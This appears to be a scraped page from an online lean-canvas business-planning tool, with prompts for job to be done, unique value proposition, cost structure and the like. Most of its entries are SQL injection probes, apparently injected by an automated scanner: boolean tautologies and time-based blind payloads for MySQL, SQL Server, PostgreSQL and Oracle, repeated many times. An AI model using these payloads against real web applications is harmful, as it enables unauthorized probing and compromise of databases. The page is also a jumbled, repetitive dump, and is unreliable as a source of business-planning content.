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Job To Be Done ?    Insert

  1. Describe the key job your target customer needs to get done and how your solution accomplishes it.
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-1 OR 2+611-611-1=0+0+0+1 --

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-1 OR 2+108-108-1=0+0+0+1

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-1' OR 2+737-737-1=0+0+0+1 --

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-1' OR 2+569-569-1=0+0+0+1 or 'y7HJuj0Z'='

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-1" OR 2+389-389-1=0+0+0+1 --

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if(now()=sysdate(),sleep(15),0)

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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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1 waitfor delay '0:0:15' --

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apykSUh3'; waitfor delay '0:0:15' --

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4HDuRSYu' OR 83=(SELECT 83 FROM PG_SLEEP(15))--

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Qc4EHIw8') OR 103=(SELECT 103 FROM PG_SLEEP(15))--

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JoCbCYlM')) OR 91=(SELECT 91 FROM PG_SLEEP(15))--

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e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

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1'"

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1'"

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@@EgIRC

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-1 OR 2+949-949-1=0+0+0+1 -- Edit  [x]

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-1 OR 2+220-220-1=0+0+0+1 Edit  [x]

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-1' OR 2+820-820-1=0+0+0+1 -- Edit  [x]

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-1' OR 2+526-526-1=0+0+0+1 or 'IMNkYNMD'=' Edit  [x]

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-1" OR 2+576-576-1=0+0+0+1 -- Edit  [x]

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if(now()=sysdate(),sleep(15),0) Edit  [x]

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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z Edit  [x]

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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ Edit  [x]

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-1; waitfor delay '0:0:15' -- Edit  [x]

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-1); waitfor delay '0:0:15' -- Edit  [x]

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1 waitfor delay '0:0:15' -- Edit  [x]

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CLLnJFXC'; waitfor delay '0:0:15' -- Edit  [x]

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-5 OR 547=(SELECT 547 FROM PG_SLEEP(15))-- Edit  [x]

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-5) OR 757=(SELECT 757 FROM PG_SLEEP(15))-- Edit  [x]

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-1)) OR 393=(SELECT 393 FROM PG_SLEEP(15))-- Edit  [x]

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qTZJJn2N' OR 586=(SELECT 586 FROM PG_SLEEP(15))-- Edit  [x]

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0Anes3rn') OR 881=(SELECT 881 FROM PG_SLEEP(15))-- Edit  [x]

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qNJ4fWK4')) OR 513=(SELECT 513 FROM PG_SLEEP(15))-- Edit  [x]

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1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) Edit  [x]

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1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' Edit  [x]

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1'" Edit  [x]

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@@QIT2X Edit  [x]

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Unfair Advantage ?    Insert

  1. Cannot be easily bought or copied, including
    - patents, copyrights, trade secrets
    - market share
    - exclusive relationships
    - unique process
Unique Value Proposition ?    Insert

  1. For (target customer) who needs (JTBD), (Product) delivers (value of improvements) relative to (3 most important outcomes) when compared with (alternatives) for (affordable cost).
test Edit  [x]
Addressable Market Scarcity ?    Insert

  1. Describe in simple terms the nature of the market shortage (scarcity) that your innovation addresses and the evidence of it's existence.
Customer Segment ?    Insert

  1. Target customer profile, especially micro-segments by importance of desired results.
3 Most Important Outcomes ?    Insert

  1. List the three most important outcomes (desired results) prioritized by value + uniqueness of your product in delivering those results.
Key Metrics ?    Insert

  1. Easily tracked numbers indicating progress success or risk factors on key goals.
Channels ?    Insert

  1. How customers can acquire products / services.
Cost Structure ?    Insert

  1. List of fixed + variable costs
Revenue Streams ?    Insert

  1. How money is earned -- list all resources
?    Insert Brainstorm Mode

  1. What are your temporary Brainstorming notes?
e Edit  [x]

-1 OR 2+214-214-1=0+0+0+1 --

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-1' OR 2+733-733-1=0+0+0+1 --

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-1' OR 2+302-302-1=0+0+0+1 or 'RoEnNzxh'='

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-1; waitfor delay '0:0:15' --

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-1" OR 2+908-908-1=0+0+0+1 --

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-1); waitfor delay '0:0:15' --

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if(now()=sysdate(),sleep(15),0)

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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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1 waitfor delay '0:0:15' --

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X05QMQia'; waitfor delay '0:0:15' --

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-5 OR 76=(SELECT 76 FROM PG_SLEEP(15))--

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-5) OR 551=(SELECT 551 FROM PG_SLEEP(15))--

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-1)) OR 89=(SELECT 89 FROM PG_SLEEP(15))--

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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

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wMvMHBFa' OR 609=(SELECT 609 FROM PG_SLEEP(15))--

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z Edit  [x]
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01sU4Y1z') OR 399=(SELECT 399 FROM PG_SLEEP(15))--

e Edit  [x]

0pvAplJG')) OR 698=(SELECT 698 FROM PG_SLEEP(15))--

e Edit  [x]

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

e Edit  [x]

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

e Edit  [x]

1'"

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1'"

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@@LRWa0

e Edit  [x]
-1 OR 2+33-33-1=0+0+0+1 -- Edit  [x]
-1 OR 2+103-103-1=0+0+0+1 Edit  [x]
-1' OR 2+736-736-1=0+0+0+1 -- Edit  [x]
-1' OR 2+905-905-1=0+0+0+1 or '8X3Vav2R'=' Edit  [x]
-1" OR 2+922-922-1=0+0+0+1 -- Edit  [x]
if(now()=sysdate(),sleep(15),0) Edit  [x]
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z Edit  [x]
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ Edit  [x]
1 waitfor delay '0:0:15' -- Edit  [x]
1kttrrRE'; waitfor delay '0:0:15' -- Edit  [x]
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